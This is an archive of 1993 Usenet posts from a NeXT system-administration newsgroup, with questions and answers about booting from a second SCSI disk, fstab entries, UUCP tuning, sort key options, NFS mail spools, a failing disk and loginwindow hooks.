Newsgroups: comp.sys.next.sysadmin From: marianne@stevie.uchicago.edu (Marianne Guntow) Subject: How do you boot from another disk??? Message-ID: <1993Jun29.190541.8539@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations Date: Tue, 29 Jun 1993 19:05:41 GMT Hello :-) I'm very confused. I'm trying to get my NeXT to boot up from a different disk than its used to and I can't seem to make it do it. I've got an internal 400MB drive set to SCSI ID #4 (don't ask :-) and an external 1GB drive set to SCSI ID #0. I try doing bsd(1,0,0) from the NeXT> prompt but it still boots from the external drive (sd0). When I disconnect the external drive, it boots from the internal one just fine. I thought maybe it had something to do with my fstab file so I made some changes and managed to break it but good (wouldn't boot and root was mounted read only). my current fstab: /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /herbie 4.3 rw,noquota,noauto 0 1 the super-broken fstab that I tried: /dev/sd1a / 4.3 rw,noquota,noauto 0 1 /dev/sd0a /stevie 4.3 rw,noquota,bg 0 2 Maybe its silly but I really don't understand why this broke this so badly. I tried the above fstab along with bsd(1,0,0) -rootdev=sd1a but that didn't help at all. While the machine is booting while its still running through init (I think), I see these messages (not exact): sound0 at 0x8233 root on sd0 master cpu at slot 0 The root on sd0 would seem to be the whole problem. When fixing my horrendous fstab problem, I booted from a floppy and noticed that it said root on fd instead of sd0. So, I guess the question is, how do you control this? If anyone can offer some advice, I'd really appreciate it. Please send e-mail to gun6@midway.uchicago.edu as I don't read the group regularly anymore :-( and my mail is probably going to be erratic at best until I get this problem fixed. Thanks in advance, Marianne Guntow gun6@midway.uchicago.edu
Newsgroups: comp.sys.next.sysadmin From: kdburg@incoahe.hanse.de (Klaus Dahlenburg) Subject: Re: Nice fast modem is slow, Why? Message-ID: <1993Jun28.060823.5882@incoahe.hanse.de> Organization: Hanse Networking eV., Hamburg; Germany References: <1993Jun26.232155.19552@ifi.unizh.ch> <20jnlgINN7k@theborg.stack.urc.tue.nl> Date: Mon, 28 Jun 93 06:08:23 GMT annard@theborg.stack.urc.tue.nl (Annard Brouwer) writes: [...] stuff deleted >If you use NeXT uucp you must enlarge the packet size to 1024 or 2048 to make >the g-protocol more efficient, but read on... this may be done between 2 computers running NeXTstep only. If the other site is running any other OS it's very likely that he will core dump, as most uucps can't handle packages greater than 64. If the other site is running SysV use 'G' instead of 'g' protocol. Also make shure that the DTE - DCE speed is set to a value which will not slow down the modem (you can run the line at 14400 and the modem -- computer at 2400!); I found out that 19200(EXTA) works best on outbound while 38400 (EXTB) is best on inbound. But you can't change just in the middle so I left it at 19200. With 38400 the computer pumps to much stuff down the line so that the modem's buffer get's filled too fast and it will drop the CTS. >> Taylor UUCP: >> Anyone got it to work ?? > >Yup, we use it over here and it's great, especially the i-protocol which uses >the full-duplex capability of most modems to send data both ways at the same [...] some stuff deleted take note: the protocol, the speed and other things have to be negotiated between the two sites, so if the other site isn't running Taylor than there is no 'i' protocol but most of the time a 'g' protocol. Klaus -- Klaus Dahlenburg email : kdburg@incoahe.hanse.de P.O.Box 1267 Fax : +49 4287 676 D-2117 Tostedt Voice : +49 4287 681 Germany (w) Timezone : GMT + 2 ++EOM++
From: blandfom@math.enmu.edu (Michael Blandford) Newsgroups: comp.sys.next.sysadmin Subject: Help with exported directories Date: 29 Jun 1993 19:04:37 GMT Organization: Mathematical Sciences Department Distribution: world Message-ID: <20q3o5INN9nt@almond.enmu.edu> I have a HP 730, a Sun IPC, and several NeXT's. The HP is new. It was purchased to be a file server for the other machines. Anyway I am having a few problems. 1) Mail: I exported /usr/mail on the HP. Mounted it as /usr/spool/mail on the NeXT`s and Sun. When you try to use mail it hangs for a period of time, then shows you the new mail listings and exits. You never get to read mail. However if you use mail -f /usr/spool/mail/user it works great. 2) Users cant un tar files. It always gives them a permission denied when trying to create directories and files etc...The files still have the original owners ID's. This only happens in the directories that are exported from the HP. If you can help with these problems I would appreciate it. Thanks
Newsgroups: comp.sys.next.sysadmin From: dave@guinness.huma.yorku.ca (David Aspinall) Subject: Re: How do you boot from another disk??? Message-ID: <C9EF5q.3n9@newshub.ccs.yorku.ca> Sender: news@newshub.ccs.yorku.ca (USENET News System) Organization: York University, Humanities Department References: <1993Jun29.190541.8539@midway.uchicago.edu> Date: Tue, 29 Jun 1993 19:51:26 GMT I tried to mail this reply, but it bounced... In article <1993Jun29.190541.8539@midway.uchicago.edu> you write: : Hello :-) : : I'm very confused. I'm trying to get my NeXT to boot up from a different : disk than its used to and I can't seem to make it do it. I've got an : internal 400MB drive set to SCSI ID #4 (don't ask :-) and an external 1GB : drive set to SCSI ID #0. I try doing bsd(1,0,0) from the NeXT> prompt but : it still boots from the external drive (sd0). When I disconnect the : external drive, it boots from the internal one just fine. I thought maybe : it had something to do with my fstab file so I made some changes and : managed to break it but good (wouldn't boot and root was mounted read : only). : : my current fstab: : /dev/sd0a / 4.3 rw,noquota,noauto 0 1 : /dev/sd1a /herbie 4.3 rw,noquota,noauto 0 1 : I would change this.. see below ^^^^^^ : the super-broken fstab that I tried: : /dev/sd1a / 4.3 rw,noquota,noauto 0 1 : /dev/sd0a /stevie 4.3 rw,noquota,bg 0 2 : Maybe its silly but I really don't understand why this broke this so : badly. I tried the above fstab along with bsd(1,0,0) -rootdev=sd1a but : that didn't help at all. : The problem here is that you are trying too hard :) When a SCSI controller boots up, it searches the chain for a SCSI device with the lowest id. So an internal drive with id 4 and an external drive with id 1 will result in a boot from the external drive. The external drive will appear as sd0a and the internal drive would then be sd1a. In other words the SCSI controller will automaticly renumber the SCSI device numbers as it sees fit. What happens if you just type "bsd"? the way you describe it, it should just work... My fstab, to mount my cube, with 2 1.4Gb drives is: /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /usr/Disk2 4.3 rw 1 2 In your case, I might try something like: /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /herbie 4.3 rw 1 2 : While the machine is booting while its still running through init (I : think), I see these messages (not exact): : : sound0 at 0x8233 : root on sd0 : master cpu at slot 0 : Root is always on the boot device. : The root on sd0 would seem to be the whole problem. When fixing my : horrendous fstab problem, I booted from a floppy and noticed that it said : root on fd instead of sd0. So, I guess the question is, how do you control : this? : This is because the boot device was fd0a : If anyone can offer some advice, I'd really appreciate it. Please send : e-mail to gun6@midway.uchicago.edu as I don't read the group regularly : anymore :-( and my mail is probably going to be erratic at best until I : get this problem fixed. : : Thanks in advance, : Marianne Guntow : gun6@midway.uchicago.edu Hope this helps Dave -- David Aspinall ---------- Former-Former-NeXT Campus Consultant E-mail : cs911409@ariel.yorku.ca | I'd rather be NeXTMail: dave@ccs.yorku.ca | rich than stupid V-mail : (416) 663-4997 | -- Jack Handey -- David Aspinall ---------- Former-Former-NeXT Campus Consultant E-mail : cs911409@ariel.yorku.ca | I'd rather be NeXTMail: dave@ccs.yorku.ca | rich than stupid V-mail : (416) 663-4997 | -- Jack Handey
Newsgroups: comp.sys.next.sysadmin From: chuck herrick Subject: Re: Mail images Message-ID: <1993Jun29.200240.23512@dvorak.amd.com> Followup-To: misc.test Originator: herrick@auhp14.amd.com Sender: <charles.herrick@amd.com> Organization: I speak only for myself. References: <1993Jun17.205555.1486@cesar.uucp> <1vsfsd$cah@balu.hnv.icem.de> Date: Tue, 29 Jun 93 20:02:40 GMT In article <1vsfsd$cah@balu.hnv.icem.de> js@c91024 (Juergen Sell) writes: >: I am a UUCP site dialing-out to my news/mail feed. > >: Please send replys directly to my account. > >me too, please. > me three :-) -- Chuck Herrick <charles.herrick@amd.com> (512) 462-6248 (w) (512) 462-4812 (FAX) (512) 480-0757 (h) PO Box 18804 Austin, TX 78760-8804
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to disable reset and power in login panel Message-ID: <1252@rtbrain.rightbrain.com> Date: 29 Jun 93 21:28:25 GMT References: <1993Jun29.104125.8412@csus.edu> Sender: glenn@rightbrain.com Eric P. Scott writes > those buttons present. (Watch this get fixed "real fast" once > Reid Paul Jobs is old enough to murder daddy's computer without ^^^^ > even touching the keyboard.) I'm flattered, of course, but it's actually Reed Paul Jobs :-) -- Glenn Reid NeXTmail: glenn@rightbrain.com RightBrain Software 415-326-2974 (NeXTfax 326-2977) Palo Alto, California Electronic Frontier Foundation, member #054
From: brunkhorst@mayo.edu (Geoff Brunkhorst) Newsgroups: comp.sys.next.sysadmin Subject: NeXT sort(1) and NeXTanswers Date: 29 Jun 1993 22:06:01 GMT Organization: Mayo Foundation Distribution: world Message-ID: <20qec9$1pn@fermat.mayo.edu> I am trying to sort the Master Index of NeXTanswers (1001), and I am running into a problem with sort. Not being a unix tool wiz, it appears that sort -u +0.70 -0.78 1001 > output.file should sort the file without any problem, since it is a space padded file. It's not. The order is consistent, but I can't figure out what sort thinks I requesting as a key. I move the file over to VMS (where I'm a bit more comfortable with the sort command, and it sorts fine with the command sort/key=(pos:70,size:8) 1001 output.file thanks for any help... - Geoff ----------------------------------------------------------------- Geoffrey Brunkhorst brunkhorst@Mayo.edu Research Computing Facility, Guggenheim 10 (507) 284-1805 Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
Newsgroups: comp.sys.next.sysadmin From: scott@geom.umn.edu (Scott S. Bertilson) Subject: Re: NeXT sort(1) and NeXTanswers Message-ID: <C9EqK1.2Fu@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: Geometry Center, University of Minnesota References: <20qec9$1pn@fermat.mayo.edu> Date: Tue, 29 Jun 1993 23:52:09 GMT In article <20qec9$1pn@fermat.mayo.edu> brunkhorst@mayo.edu writes: >sort -u +0.70 -0.78 1001 > output.file I don't know what the actual file looks like, but perhaps it is pertinent to remember that the Unix "sort" sees any white space as a field delimiter by default...so any blanks before column 70 will put you into field 1 instead of field 0. You need to pick some character that is unused in the file (at least before column 78) and force "sort" to use it as the tab (field delimiter): sort -t~ -u +0.70 -0.78 1001 > output.file --
Newsgroups: comp.sys.next.sysadmin From: fxars@camelot.acf-lab.alaska.edu (Al Sparks) Subject: Re: NeXT sort(1) and NeXTanswers In-Reply-To: brunkhorst@mayo.edu's message of 29 Jun 1993 22: 06:01 GMT Message-ID: <FXARS.93Jun29170053@ix.acf-lab.alaska.edu> Sender: news@raven.alaska.edu (USENET News System) Organization: University of Alaska Fairbanks References: <20qec9$1pn@fermat.mayo.edu> Date: Wed, 30 Jun 1993 02:00:53 GMT In article <20qec9$1pn@fermat.mayo.edu> brunkhorst@mayo.edu (Geoff Brunkhorst) writes: > sort -u +0.70 -0.78 1001 > output.file > > should sort the file without any problem, since it is a > space padded file. It's not. The order is consistent, > but I can't figure out what sort thinks I requesting as > a key. I don't know what 1001 looks like. But unix sort, unlike VAX/VMS sort works on fields with a field separator. The default is a space or tab. If the file is padded with spaces, then you may have to change to "sort -u +1 -1" with the decimal points indicating where you want to sort. Or change the default field separator (with the -t modifier) to something innocuous, in which case, your way will work. === Al
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software Subject: WriteNow in black 3.1 Date: 30 Jun 1993 00:18:39 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <20qm4v$n55@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I noticed that WriteNow is missing in 3.1. Can I use the one from 3.0 (or earlier)? Will it work? Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.marketplace,comp.sys.next.sysadmin Subject: Re: Dell ships NS/486? Message-ID: <ibhan.741400409@husc.harvard.edu> From: ibhan@husc8.harvard.edu (Ishir Bhan) Date: 30 Jun 93 00:33:29 GMT References: <C9Csrz.Ctx@pdh.com> <C9D7n5.L30@usenet.ucs.indiana.edu> I called Micron computers, since they seem to have good deals. They new about NeXTStep and said they were "very interested in getting it running on our machines." He said the only problem was that NS didn't support the vidoe card they were using (a high perforance Diamond Viper graphics card with a Weitek P9000 RISC chip). This seems like an excellent NeXTStep machine. Does anyone know if NS is planning a driver for this card? And when? -- ****************************************************************************** Ishir Bhan * "It takes years to find the nerve..." ibhan@husc.harvard.edu * -New Order, "All The Way" ******************************************************************************
From: brunk@feynman (Geoff Brunkhorst) Newsgroups: comp.sys.next.sysadmin Subject: Re: NeXT sort(1) and NeXTanswers Date: 30 Jun 1993 01:22:58 GMT Organization: Mayo Foundation Distribution: world Message-ID: <20qpti$3k6@fermat.mayo.edu> References: <20qec9$1pn@fermat.mayo.edu> >I am trying to sort the Master Index of NeXTanswers (1001), and >I am running into a problem with sort. Not being a unix tool >wiz, it appears that > >sort -u +0.70 -0.78 1001 > output.file Of course, spaces aren't spaces, they're whitespace delimiters. Arg. You know, if you take the worst of VMS and the worst of Unix, you may get an OS that is worse than MS-DOS... Wait a minute... what is Cutler working on, anyway?;-) Thanks to all who responded. -- - Geoff ----------------------------------------------------------------- Geoffrey Brunkhorst brunkhorst@Mayo.edu
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: shin@nop.han.de (Hoen-oh Shin) Subject: Appending files to existing streamer archives Message-ID: <1993Jun27.122336.409@nop.han.de> Sender: shin@nop.han.de Organization: Hoen-oh Shin, Hannover, Germany [IN] Date: Sun, 27 Jun 93 12:23:36 GMT Hello, I would like to add files to an existing archive on tape (WANGTEK 510000, 1GB). Tar (-r, -u option) doesn t work. Any help will be greatly appreciated. Thanks!
Newsgroups: comp.sys.next.sysadmin From: peter@corsica (Peter Eisch) Subject: Re: Nextdimension memory Message-ID: <C9EyI0.7oq@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota References: <1993Jun16.100632.7116@resonex.com> <1993Jun24.165943.21148@ringer.cs.utsa.edu> Date: Wed, 30 Jun 1993 02:43:43 GMT I have two programs, one does a 'hostinfo' and the other does a 'vm_stat' type of thing on the ND. They run under 2.x. If anyone could use them, send me email and I'll NeXTmail/MIME you the execs (no source, sorry). peter Daniel Shelton (dan@ennex1.eng.utsa.edu) wrote: : In article <1993Jun16.100632.7116@resonex.com> zenon@resonex.com (Zenon : Fortuna) writes: .. : If you boot up a NeXT with 3.0 in verbose mode, a message will be printed : on the screen indicating how much DRAM there is on the ND but you have to : look for it because it is located in the last 2 or 3 lines of the boot : sequence. .. -- I felt his rocket science training was inadequate. peter@tahiti.umhc.umn.edu (Peter Eisch)
From: jmd@cube.handheld.com (Jim De Arras) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Netware login with user login? Date: 30 Jun 1993 02:00:42 GMT Organization: Hand Held Products, Inc. Distribution: world Message-ID: <20qs4aINNpqg@clem.handheld.com> Now that NetWare is working for us, and we use netware printers, which require you be logged into the netware server when printing to them, and just fail if you aren't, I would like to set up the NeXT to login the users with thier proper netware id and password when they login to the windowserver. I would also like to log them out when they log out of the window server. This would use the nwlogin and nwlogout commands. I do not want the login and logout to be automatic on telnet sessions. Any suggestions? Jim -- jmd@handheld.com
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: Re: COPS Message-ID: <1993Jun30.024929.138724@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo References: <133176@netnews.upenn.edu> Date: Wed, 30 Jun 1993 02:49:29 GMT In article <133176@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu (David Anstine) writes: > Does anyone have a hacked version of COPS that is netinfo-aware? I'm slowly working on a full port that will check for specific net-info holes as well. things like world modifiable printer stuffs, and other. - Kevin Wang
Newsgroups: comp.sys.next.sysadmin From: rich@pencil.cs.missouri.edu (Rich Winkel) Subject: Floppies mounted R/O. Why? Message-ID: <rich.741385861@pencil> Sender: news@mont.cs.missouri.edu Organization: University of Missouri Date: 29 Jun 93 20:31:01 GMT I have a Next turbostation running Mach 3.0. I insert a floppy, with its write-tab set to write, and the machine mounts it R/O. I put the same disk in another turbostation, (running 2.2) and it mounts it R/W. What to do??? Thanks for any help! Rich
From: rcc@next1.math.pitt.edu (robert cyphers) Newsgroups: comp.sys.next.sysadmin Subject: SCSI I/O error - trashed home directory Keywords: SCSI Message-ID: <15508@blue.cis.pitt.edu> Date: 30 Jun 93 13:30:33 GMT Sender: news+@pitt.edu I am running a NeXTCube server (NeXT Mach 2.1) and have a couple of NetInfo/NFS clients running NeXT Mach 3.0. Yesterday a SCSI disk on the NetInfo/file server apparently went beserk and started wiping out files which belonged to a user who is running NS3.0 on his machine (and mounting his home directory from the server). His home dir is on an external MAXTOR disk mounted on /usrd, which a 'df' shows as: next1:rcc% df /usrd Filesystem kbytes used avail capacity Mounted on /dev/sd1d 251051 178564 47381 79% /usrd The server console log shows: Software Version 2.1 (Warp6.11) Target 2: MEDIA ERROR; block 1e8eb0H retry 1 When I do a directory listing of his home directory I get 'not found' errors: next1:rcc% ls -alAF /usrd/djh NeXT not found cshs not found Library not found Mailboxes not found prg not found Home.sense not found total 584 drwxr-xr-x 28 djh 2048 Jun 22 08:09 ./ drwxr-xr-x 5 djh 1024 Nov 20 1992 ../ -rw------- 1 djh 7 May 10 15:49 .Active.datebk drwxrwxrwt 3 djh 1024 Apr 13 1992 .NextTrash/ [ETC...] A 'du' on his home directory gives lots of 'I/O error' messages like: next1:rcc% du -s /usrd/djh /usrd/djh/.NeXT: I/O error /usrd/djh/Apps/MathematicaLib: I/O error /usrd/djh/cshs: I/O error [ETC...] and then reports his total disk usage is down by ~106 MB from the day before. Could this loss be related to running different OS versions between the two machines? Can I try repairing the damage with 'fsck' or 'disk' utilities? Earlier in the day I had shut down the server, disconnected an external floppy drive (/dev/sd3a) and rebooted. Could this have caused any problems? --------------------------------------------------------------------- Robert C Cyphers Department of Mathematics and Statistics University of Pittsburgh cyphers+@pitt.edu ---------------------------------------------------------------------
From: layhe@niman.mayo.edu (robert w. layhe) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to send mail to folks on APPLELINK from the Internet ? Date: 30 Jun 1993 13:37:41 GMT Organization: Mayo Foundation Distribution: world Message-ID: <20s4v5$b3j@fermat.mayo.edu> References: <1993Jun29.182315.20827@almserv.uucp> In article <1993Jun29.182315.20827@almserv.uucp> dlewis@fnma.com writes: > In article <1993Jun28.155833.11597@elysia.fdn.org> luis@elysia.fdn.org > (Luis Arias) writes: > > Hi, > > > > Does anyone know how to send mail to an applelink address ? > > > > Thanks. > > Try [applelinkacctname]@applelink.com ??? > > DL i have had success in sending to lastname.firstname@applelink.apple.com. one SE i work with from apple has this on his business card. r -- Robert W. Layhe, PhD | Internet: layhe@mayo.edu Research Computing, SCJMRC | Voice: 602.391.7013 Mayo Clinic Scottsdale | Pager: 602.391.8677 Scottsdale, AZ 85259 | Fax: 602.391.7017
From: layhe@niman.mayo.edu (robert w. layhe) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to send mail to folks on APPLELINK from the Internet ? Date: 30 Jun 1993 13:37:52 GMT Organization: Mayo Foundation Distribution: na Message-ID: <20s4vg$b3k@fermat.mayo.edu> References: <1993Jun29.182315.20827@almserv.uucp> In article <1993Jun29.182315.20827@almserv.uucp> dlewis@fnma.com writes: > In article <1993Jun28.155833.11597@elysia.fdn.org> luis@elysia.fdn.org > (Luis Arias) writes: > > Hi, > > > > Does anyone know how to send mail to an applelink address ? > > > > Thanks. > > Try [applelinkacctname]@applelink.com ??? > > DL i have had success in sending to lastname.firstname@applelink.apple.com. one SE i work with from apple has this on his business card. r -- Robert W. Layhe, PhD | Internet: layhe@mayo.edu Research Computing, SCJMRC | Voice: 602.391.7013 Mayo Clinic Scottsdale | Pager: 602.391.8677 Scottsdale, AZ 85259 | Fax: 602.391.7017
From: layhe@niman.mayo.edu (robert w. layhe) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to send mail to folks on APPLELINK from the Internet ? Date: 30 Jun 1993 13:38:05 GMT Organization: Mayo Foundation Message-ID: <20s4vt$b41@fermat.mayo.edu> References: <1993Jun29.182315.20827@almserv.uucp> Keywords: applelink In article <1993Jun29.182315.20827@almserv.uucp> dlewis@fnma.com writes: > In article <1993Jun28.155833.11597@elysia.fdn.org> luis@elysia.fdn.org > (Luis Arias) writes: > > Hi, > > > > Does anyone know how to send mail to an applelink address ? > > > > Thanks. > > Try [applelinkacctname]@applelink.com ??? > > DL i have had success in sending to lastname.firstname@applelink.apple.com. one SE i work with from apple has this on his business card. r -- Robert W. Layhe, PhD | Internet: layhe@mayo.edu Research Computing, SCJMRC | Voice: 602.391.7013 Mayo Clinic Scottsdale | Pager: 602.391.8677 Scottsdale, AZ 85259 | Fax: 602.391.7017
From: rcc@next1.math.pitt.edu (robert cyphers) Newsgroups: comp.sys.next.sysadmin Subject: SCSI I/O error - trashed home directory(2) Message-ID: <15513@blue.cis.pitt.edu> Date: 30 Jun 93 14:07:04 GMT Sender: news+@pitt.edu Sorry for the double post, but I left out some detail in the first one by acciddent. I am running a NeXTCube server (NeXT Mach 2.1) and have a couple of NetInfo/NFS clients running NeXT Mach 3.0. Yesterday a SCSI disk on the NetInfo/file server apparently went beserk and started wiping out files which belonged to a user who is running NS3.0 on his machine (and mounting his home directory from the server). His home dir is on an external MAXTOR disk mounted on /usrd, which a 'df' shows as: next1:rcc% df /usrd Filesystem kbytes used avail capacity Mounted on /dev/sd1d 251051 178564 47381 79% /usrd The server console log shows: Software Version 2.1 (Warp6.11) Target 2: MEDIA ERROR; block 1e8eb0H retry 1 Target 2: MEDIA ERROR; block 1e8eb0H retry 2 Target 2: MEDIA ERROR; block 1e8eb0H retry 3 Target 2: MEDIA ERROR; block 1e8eb0H retry 4 Target 2: MEDIA ERROR; block 1e8eb0H retry 5 Target 2: MEDIA ERROR; block 1e8eb0H retry 6 Target 2: MEDIA ERROR; block 1e8eb0H retry 7 Target 2: MEDIA ERROR; block 1e8eb0H retry 8 Target 2: MEDIA ERROR; block 1e8eb0H retry 9 d1 (2,0): sense key:0x3 additional sense code:0x13 SCSI Block in error = 2002608; Partition d F.S. sector 251144 When I do a directory listing of his home directory I get 'not found' errors: next1:rcc% ls -alAF /usrd/djh NeXT not found cshs not found Library not found Mailboxes not found prg not found Home.sense not found total 584 drwxr-xr-x 28 djh 2048 Jun 22 08:09 ./ drwxr-xr-x 5 djh 1024 Nov 20 1992 ../ -rw------- 1 djh 7 May 10 15:49 .Active.datebk drwxrwxrwt 3 djh 1024 Apr 13 1992 .NextTrash/ [ETC...] A 'du' on his home directory gives lots of 'I/O error' messages like: next1:rcc% du -s /usrd/djh /usrd/djh/.NeXT: I/O error /usrd/djh/Apps/MathematicaLib: I/O error /usrd/djh/cshs: I/O error [ETC...] and then reports his total disk usage is down by ~106 MB from the day before. Could this loss be related to running different OS versions between the two machines? Can I try repairing the damage with 'fsck' or 'disk' utilities? Earlier in the day I had shut down the server, disconnected an external floppy drive (/dev/sd3a) and rebooted. Could this have caused any problems? --------------------------------------------------------------------- Robert C Cyphers Department of Mathematics and Statistics University of Pittsburgh cyphers+@pitt.edu ---------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: djiracek@thunder(Dan Jiracek) Subject: error from netmsgserver Message-ID: <1993Jun30.135302.10860@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA Date: Wed, 30 Jun 93 13:53:02 GMT I have a 100mg color 3.0 that has a fax modem attached. Lately the machine has been hanging. The only errors I see in /usr/adm/messages are: Jun 30 08:19:30 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265875. Jun 30 08:19:30 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265903. Jun 30 08:19:30 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265888. Jun 30 08:19:30 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265869. Jun 30 08:19:30 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265870. Jun 30 08:19:30 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265881. Jun 30 08:19:33 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265877. Jun 30 08:19:33 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265897. Jun 30 08:19:33 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265910. Jun 30 08:19:33 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265854. Jun 30 08:19:33 govt26 netmsgserver[66]: srr_handle_response.srr_hash_lookup fails for -1821265888. Jun 30 08:19:37 govt26 last message repeated 2 times Does anyone know what these errors mean and if they're relevant? Thanks, -- Daniel Jiracek (312) 732-1421 Network Specialist Dan_Jiracek@fnbc.com First Chicago Bank NeXT Mail Accepted
From: zryx0376@awssg7.rus.uni-stuttgart.de (Markus Wenzel (Hiwi bei R.Rabenseifner)) Newsgroups: comp.sys.next.sysadmin Subject: Re: UUCP NS-FIP error Date: 30 Jun 1993 15:42:39 GMT Organization: Visualization Group Comp.Center (RUS) U of Stuttgart, FRG Message-ID: <20sc9f$17u4@info2.rus.uni-stuttgart.de> References: <glenC9BICy.Ms8@netcom.com> In article <glenC9BICy.Ms8@netcom.com> glen@netcom.com (Steven Kornreich) writes: > I have been setting up uucp on my PC running NS-FIP and I can >connect one or two times no problem, but then I get an error code >" RAISE RDP exception 1 code 1 subcode c21 93bd0 >waiting for RDP connection" >Anyone have any ideas??? As I said several times before: the serial drivers in NS/I 3.1 are broken. No way out, sorry. Regards, Markus. -- /dev Markus Wenzel, University of Stuttgart /usr/spool/mail wenzel@rus.uni-stuttgart.de ~/.ircrc/nick Marsu /etc/motd NeXTSTEP for Intel - Come on and join!
From: ruck@alpha.ee.ufl.edu (John R. Ruckstuhl Jr.) Newsgroups: comp.sys.next.sysadmin Subject: file's GID -- how decided? Date: 30 Jun 1993 17:29:57 GMT Organization: EE Dept at UF Message-ID: <20siil$jld@bigguy.eng.ufl.edu> When one creates a file, of course his uid is put into the fstat, i.e., he owns the file. But what gid is attached to the file? I tried a couple of test cases under /tmp/junk as root, and discovered that the new files inherited the group that is associated with the directory in which the files are being created. Sanity check, please. Who fills in the fstat GID... where is this fundamental but subtle difference: in the filesystem itself? in the kernel? in the user-applications, e.g. the shell? As you can see, this is not my field of expertise. :( How does one change his "primary" group for a single shell session. In SunOS, one would "newgroup", and subsequently, files created would get the gid of the group he newgrouped to. Also, how does one determine his current effective gid. In SunOS, one would use "id". Perhaps there is no analog... Thank you for your help. Best regards, ruck -- John R. Ruckstuhl, Jr. ruck@alpha.ee.ufl.edu Dept. of Electrical Engineering ruck@cis.ufl.edu University of Florida
From: ruck@alpha.ee.ufl.edu (John R. Ruckstuhl Jr.) Newsgroups: comp.sys.next.sysadmin Subject: loginwindow alternative to WM Date: 30 Jun 1993 17:35:15 GMT Organization: EE Dept at UF Message-ID: <20sisj$jm4@bigguy.eng.ufl.edu> How can loginwindow prompt the user for information before firing up the Workspace manager? I know how to get a loginhook run, but if that loginhook is a simple shell-script, I guess its stdin and stdout aren't available to the user -- they aren't connected to the keyboard and display... Is there a NS window-based prompt utility which allows me to simply beam a short message to the screen, accept a reply, and spit that reply out to its stdout? If so, can it talk to the display before the Workspace manager is up -- that is, can it be done from loginhook? And another important question: How, besides first logging in as "console" (see footnote), can the ordinary user get a plain old shell !instead! of the GUI. I suppose this is done by setting the "Workspace" parameter for "loginwindow" in the user's defaults database, but dwrite loginwindow Workspace /bin/csh doesn't work (for subsequent logins), I guess because the window-manager is still running and the shell's stdin and stdout aren't connected to ... From this shell, can he subsequently type a command to get the GUI? I'm asking about a sequence whereby the user logs in and is given a shell, then can later fire up Workspace manager. Thank you for your help. Best regards, ruck Footnote: Assuming init is firing up loginwindow on the console, and on interrupt, a getty will be executed instead ... I know the user can log in as "console" and get a shell on the console. Thanks very much! Best regards, ruck -- John R. Ruckstuhl, Jr. ruck@alpha.ee.ufl.edu Dept. of Electrical Engineering ruck@cis.ufl.edu University of Florida
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: gseng@ctp.com (Greg Sengle) Subject: 16->20meg memory upgrade Message-ID: <1993Jun30.173917.29706@ctp.com> Sender: news@ctp.com Organization: Cambridge Technology Partners Date: Wed, 30 Jun 1993 17:39:17 GMT I have a NeXT station mono 25mhz, rom revision 59 which shipped originally from NeXT as a 16/400 machine. I have just purchased 4x1meg simms to upgrade to 20 megs. Upon power up, the machine fails diagnostics and says something like mixed mode in bank 1. ALL 8 chips are non parity ram, 100ns. I simply put the new four chips in the empty slots, and rebooted. The machine will then boot if i tell it to, but of course it doesnt recognize the memory. I have tried reseating them. Is there some order they need to be in? Any thoughts? I have no reason to believe the chips are bad, as they came from another machine which went from 8 to 20 megs, and worked at that point. Ideas? Thanks! -greg -- /\/\ Gregory R. Sengle / /_ \ Cambridge Technology Partners email: gseng@ctp.com \ / / 304 Vassar Street tel: (617) 374 8509 \/\/ Cambridge, MA 02139 fax: (617) 374-8300
